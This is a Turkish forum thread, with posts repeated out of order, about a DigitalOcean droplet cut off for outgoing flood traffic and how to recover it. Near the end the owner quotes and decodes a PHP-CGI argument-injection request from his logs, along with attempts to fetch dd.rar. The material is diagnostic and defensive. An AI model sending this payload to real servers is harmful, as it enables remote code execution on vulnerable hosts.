orda klasik linux komutları girmiş onları baka baka yaparsın recovery dediği de droplet'e tıklıyorsun power off yapıyorsun o işlem bittikten sonra, settings > recovery kısmına bak Droplet admin locket ekranı geliyor hocam bir ticket sistemi var orada yukarıdaki yazı yazıyor cevap yazısı var Droplete o yazıda verilen ilk linkten erişebiliyorum ama recovery modunda gelmiyor 2. linkteki step 2 yi uygulayamıyorum zel mesaj attım :/ iyibu! yeniden..

RockZs bunu yazdı hocam ncelikle geçmiş olsun. metinde "mümkün olan en kısa sürede durumu araştırın ve problemi ortadan kaldırın. eğer programın şüpheli olduğunu düşünüyorsanız bunun dropletinize nasıl kurulduğunu kestirmeye çalışın. gelecekte tekrar kurulmaması için nlem alın. bunlardan sonra bize bildirin, biz de ağınızı tekrar gzden geçirip açalım" diyorlar. çok ciddi bir durum olduğundan felan bahsetmişler. Ya muhtemelen root şifremden dolayı gtlük yapıyorlar sürekli gir çık yapacağımdan basit bişi yapmıştım yoksa başka açıklaması yok program dedikleri bitek node. js ile site yaptım hayır virüs felan yapmasını da bilmiyom daha ve ip adresini sadece 2 kişi biliyor. i have my mysql backup. can u open recovery mode now Dedim direk. Acaba problemin bende olduğunu düşünmüyorum yedeklerimi alıp silerim dropletinizi gibi bişey desem mi gerçi hoş onu diyemem de hocam problemin senden kaynaklandığını düşünüyorlar, ki bunun için nedenleri vardır bence yani durup dururken suçlamazlar kimseyi diye düşünüyorum. node. js sunucunu birileri ktü amaçlı veya sırf gıcıklığına flood olacak kadar kullanmış olabilir mi diyeceğim ama kimse bilmiyor diyorsun.. aynı şekilde sunucuyu bir daha açmana izin vermeyeceklerdir muhtemelen, bir şekilde ikna etmek lazım. şyle diyebilirsin : "i had just installed a simple node. js server and I really dont think that problem caused due to violation of my droplets because only 2-3 people know my server' adress. I reviewed my codes several times and seems nothing wrong. please reconsider my situation and active my droplet if possible or please inform me with more details. thanks for your interest" TR: "node. js sunucumu yeni kurdum, problemin dropletimin yanlış kullanımından kaynaklanan bir duruma yol açtığını sanmıyorum çünkü sadece 2-3 kişi benim sunucumun adresini biliyor. kodları birkaç kez gzden geçirdim ve yanlış olan birşey gremedim. lütfen durumumu yeniden değerlendirin ve mümkünse dropletimi aktifleştirin ya da lütfen bana daha detalı bilgi verin. ilginiz için teşekkürler."

hacı vps'i korumak senin grevin :D host değil ki bu gerçi, dedicated almadığın sürece her türlü karışıyolar gene ota buka

çzümü bilmiyorum da ddos demiyor, yüksek network trafiğinden dolayı diyor şu do bitek bize mi kıyak geçiyor do'yu zerre sevmiyorum da, yazdığım multithread botlarda bile "fuck u" çekmiyolar Ya abi zaten bu siteyi bi ben biliyorum bi de işini yaptığım kişi. Hani zarar vermek imkansız gibi bişey akıl işi değil ya sanki siteyi açtım kullanıcılar akın etti https://www.digitalocean.com/community/tutorials/recovering-files-from-a-compromised-droplet-using-the-recovery-iso Şuradakilerini uygulayıp ssh'ı aktif etmeme yardım edebilecek var mı çok sıkıntıya düştüm ya iyibu! yeniden..

Hocalar iyi geceler. Node. js ile yaptığım bir projede bugün sisteme giriş yapamadım sebebini ilk başta çzemedim fakat sonradan droplet_admin_locket gibi bi sayfaya atıp orada da bir ticket oluşturulduğunu grünce durumu farkettim Bok gibiyim anlayacağınız.. İngilizcem zaten kıt bir de kafam allak bullak nasıl çzerim bunu enazından içindekileri kurtarım yeni bi droplet oluşturarak devam ederim. Daha çalışmaya başlayalı çok olmadığından yedeğim yok kurtarma şansımız yok mu acil cevaplarsanız sevinirim vakit kaybetmeden tekrar yazıyım şu zımpırtıyı. Hi there, We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users. To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved. In order to correct the issue, here is the direct link to the console of the affected droplet https://cloud.digitalocean.com/droplets/ /console Please take action at your earliest convenience in order to investigate and resolve the situation. Once this is done, if you determine the program was malicious, please also determine how this software came to be installed on your droplet and prevent it from being installed again in the future. As soon as this is done let us know and we will investigate re-enabling your networking. If you need any guidance on how to find and resolve this issue, we recommend reviewing this: https://www.digitalocean.com/community/tutorials/how-to-recover-from-a-compromised-droplet-sending-an-outgoing-flood-or-ddos Please understand that this is a very serious issue as it negatively impacts our platform and your server. If you have any questions just let us know. Thank you, DigitalOcean Support Verilen linkte yapmam gerekenleri bile anlamadım iyibu! yeniden..

hacı vps'i korumak senin grevin :D host değil ki bu gerçi, dedicated almadığın sürece her türlü karışıyolar gene ota buka Doğru diyon hocam artık tıngır mıngır düşe kalka ğrenecez yapacak bişey yok Yazdığım sistemde 0 açık ona eminim ama vps korumak bambaşka bişeymiş dediğin gibi. neyse ğreniriz artık :) iyibu! yeniden..

hoca güzel bi şekilde yaz, kibarca, biraz da yağ çek hemen kıvama geliyorlar :D bu şekilde fazladan kupon kodu kapmıştım bir de borç sildirmiştim :D İnsan; insan olsaydı, insan olmazdı..

orda klasik linux komutları girmiş onları baka baka yaparsın recovery dediği de droplet'e tıklıyorsun power off yapıyorsun o işlem bittikten sonra, settings > recovery kısmına bak

by_Tet bunu yazdı Hocam yorumun için teşekkürler kodlarımı da gzden geçiremiyorum ki komple kapatmışlar bi şekilde yedek almam gerekli İki dk dosyalarıma erişim izni versinler sonra komple kapatsınlar nemli değil orası yani Eğer yarın sabaha kadar cevap atmazlarsa dediğini tekrar gndereceğim hocam şurada yazana gre DigOcean daki control panel deki console dan server ına erişebiliyorsun sanırım. root pass bilmen yeterli diyor. Hocam işte konsola ulaşabiliyordum fakat step 2 yu uygulayamıyordum şimdi açmışlar yedek alacağım tekrar teşekkür ederim Eğer yine kurtaramazsam mecburen konuyu uplarım fakat çzüldü gibi herkese teşekkürler :) iyibu! yeniden..

şifreyi basit bir şey yaptığından bahsetmişsin. do serverları tahminimce sürekli saldırıyo alıyor. 1- hiçbir programı default port kullanma :) 2- basit şifre kullanma droplet'ine biri girip bot salmış olabilir içine ben bi ara farkında olmadan mail sunucusu kurmuşum başka bişey kurarken adamın teki benim sunucu üzerinden spam mail yolladı diye abuse yemiştim :) Olayı çzdüm gtün teki şyle POST gndermiş //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E Decode şu şekilde //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin. simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi. force_redirect=0 -d cgi. redirect_status_env=0 -d auto_prepend_file=php://input -n Sonra dd. rar indirmeye çalışmışlar tabi 404 vermiş çünkü sistem node. js php'ye dair hiçbirşey yok [0mGET /dd. rar [33m404 [0m5.021 ms - 1271[0m [0mGET /dd. rar [33m404 [0m8.373 ms - 1271[0m [0mGET /dd. rar [33m404 [0m5.843 ms - 1271[0m [0mGET /dd. rar [33m404 [0m16.520 ms - 1271[0m [0mGET /dd. rar [33m404 [0m8.180 ms - 1271[0m [0mGET /dd. rar [33m404 [0m14.779 ms - 1271[0m [0mGET /dd. rar [33m404 [0m8.361 ms - 1271[0m [0mGET /dd. rar [33m404 [0m4.473 ms - 1271[0m [0mGET /dd. rar [33m404 [0m3.782 ms - 1271[0m [0mGET /dd. rar [33m404 [0m17.023 ms - 1271[0m [0mGET /dd. rar [33m404 [0m3.852 ms - 1271[0m [0mGET /dd. rar [33m404 [0m44.379 ms - 1271[0m [0mGET /dd. rar [33m404 [0m23.454 ms - 1271[0m [0mGET /dd. rar [33m404 [0m8.575 ms - 1271[0m Haliyle benim dropleti kapatmışlar ama benim bi suçum yok ne yani byle saldırılar aldığımda kapatacaklar mı sonuçta zarar vermesi imkansız en azından php olarak. iyibu! yeniden..

hocam ncelikle geçmiş olsun. metinde "mümkün olan en kısa sürede durumu araştırın ve problemi ortadan kaldırın. eğer programın şüpheli olduğunu düşünüyorsanız bunun dropletinize nasıl kurulduğunu kestirmeye çalışın. gelecekte tekrar kurulmaması için nlem alın. bunlardan sonra bize bildirin, biz de ağınızı tekrar gzden geçirip açalım" diyorlar. çok ciddi bir durum olduğundan felan bahsetmişler. Ya muhtemelen root şifremden dolayı gtlük yapıyorlar sürekli gir çık yapacağımdan basit bişi yapmıştım yoksa başka açıklaması yok program dedikleri bitek node. js ile site yaptım hayır virüs felan yapmasını da bilmiyom daha ve ip adresini sadece 2 kişi biliyor. i have my mysql backup. can u open recovery mode now Dedim direk. Acaba problemin bende olduğunu düşünmüyorum yedeklerimi alıp silerim dropletinizi gibi bişey desem mi gerçi hoş onu diyemem de iyibu! yeniden..

çzümü bilmiyorum da ddos demiyor, yüksek network trafiğinden dolayı diyor şu do bitek bize mi kıyak geçiyor do'yu zerre sevmiyorum da, yazdığım multithread botlarda bile "fuck u" çekmiyolar

Hocam yorumun için teşekkürler kodlarımı da gzden geçiremiyorum ki komple kapatmışlar bi şekilde yedek almam gerekli İki dk dosyalarıma erişim izni versinler sonra komple kapatsınlar nemli değil orası yani Eğer yarın sabaha kadar cevap atmazlarsa dediğini tekrar gndereceğim iyibu! yeniden..

hocam ncelikle geçmiş olsun. metinde "mümkün olan en kısa sürede durumu araştırın ve problemi ortadan kaldırın. eğer programın şüpheli olduğunu düşünüyorsanız bunun dropletinize nasıl kurulduğunu kestirmeye çalışın. gelecekte tekrar kurulmaması için nlem alın. bunlardan sonra bize bildirin, biz de ağınızı tekrar gzden geçirip açalım" diyorlar. çok ciddi bir durum olduğundan felan bahsetmişler.

hoca güzel bi şekilde yaz, kibarca, biraz da yağ çek hemen kıvama geliyorlar :D bu şekilde fazladan kupon kodu kapmıştım bir de borç sildirmiştim :D İşin açığı i have my mysql backup. can u open recovery mode now Dediğime cevap atmışlar 20 dk sonra yani şimdi recovery modu açmışlar :D Ayıp olmasın diye RockZs hocamın yazdığı şeyi biraz kısaltarak yazdım teşekkür olsun diye Bi verilerimi kurtarıyım sonrasında... :) kprüyü geçene kadar yani iyibu! yeniden..

Buarada gelen hemen çıkmasın diye belirtiyim de Hala çzülmedi durum ticketa cevap attım recovery modun açılmasını bekliyorum içindeki proje nemliydi iyibu! yeniden..

şifreyi basit bir şey yaptığından bahsetmişsin. do serverları tahminimce sürekli saldırıyo alıyor. 1- hiçbir programı default port kullanma :) 2- basit şifre kullanma droplet'ine biri girip bot salmış olabilir içine ben bi ara farkında olmadan mail sunucusu kurmuşum başka bişey kurarken adamın teki benim sunucu üzerinden spam mail yolladı diye abuse yemiştim :)

Hocam yorumun için teşekkürler kodlarımı da gzden geçiremiyorum ki komple kapatmışlar bi şekilde yedek almam gerekli İki dk dosyalarıma erişim izni versinler sonra komple kapatsınlar nemli değil orası yani Eğer yarın sabaha kadar cevap atmazlarsa dediğini tekrar gndereceğim hocam şurada yazana gre DigOcean daki control panel deki console dan server ına erişebiliyorsun sanırım. root pass bilmen yeterli diyor.